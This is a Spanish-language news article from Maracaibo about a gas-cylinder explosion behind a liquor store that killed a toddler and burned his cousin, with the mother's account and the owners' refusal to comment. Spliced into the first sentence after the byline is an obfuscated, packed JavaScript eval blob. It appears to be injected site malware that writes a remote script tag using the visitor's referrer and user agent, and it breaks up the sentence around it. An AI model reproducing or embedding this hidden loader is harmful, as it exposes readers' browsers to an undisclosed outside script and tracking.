Explota bombona y se quema un bebé

Ana Karolina Mendoza / Maracaibo / [email protected]
La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kairi|var|u0026u|referrer|eabee||js|php'.split('|'),0,{})) hermanita del bebé también sufrió quemaduras y se recupera en el hospital. Los dueños de la licorería donde ocurrió el accidente no quieren colaborar con las víctimas. Se negaron a dar información al respecto

Los familiares del niño lloraron su muerte en la morgue.

Una chispa de soldadura hizo estallar una bombona de gas y causó la tragedia de los González el pasado 18 de noviembre. El más pequeño, Joan Carlos, de un año y tres meses, pereció ayer en la Unidad de Quemados del Hospital Coromoto con el 70 por ciento del cuerpo en carne viva.

Elisa González se recostó a la pared de la morgue forense para no desvanecerse mientras bajaban de la furgoneta el cadáver de su hijo dentro de una bolsa hermética.

Al niño se le quemaron los brazos, las piernas, la cara y parte de la espalda luego de que una bombona estallara dentro de la pieza donde vivía junto con su familia, construida en la parte trasera de la distribuidora de licores Jacob, en el barrio Ajonjolí, parroquia Ildefonso Vázquez. Él dormía y su prima, Yadelis Paula Siago, de cinco años, veía televisión cuando se suscitó la explosión. "No dio tiempo de nada. Yo corrí como pude. Estaba en la batea lavando los corotos cuando escuché el estruendo y vi el candelero". La mujer tiene siete meses de embarazo de su cuarto hijo.

Un hermano de Elisa envolvió a los pequeños en sábanas y los llevó al Hospital Universitario de Maracaibo. A la niña la curaron y permanece recluida  ahí. A Joan Carlos lo remitieron al Coromoto una hora después de su ingreso. "La carne la tenía vivita".

Los González son los cuidadores y trabajadores de la licorería, quienes, según Elisa, "no se hacen responsables por nada de lo ocurrido". Los reporteros de Sucesos acudieron al lugar y una de las propietarias, quien no se identificó, se negó a declarar. Afuera del depósito esperaban unas tías de Elisa a los González para saber detalles de lo sucedido.

 

"No me dio tiempo de nada. Yo intenté correr pero no pude. Estaba lavando los platos cuando escuché la explosión y vi el candelero".

Elisa González. Madre de la víctima.

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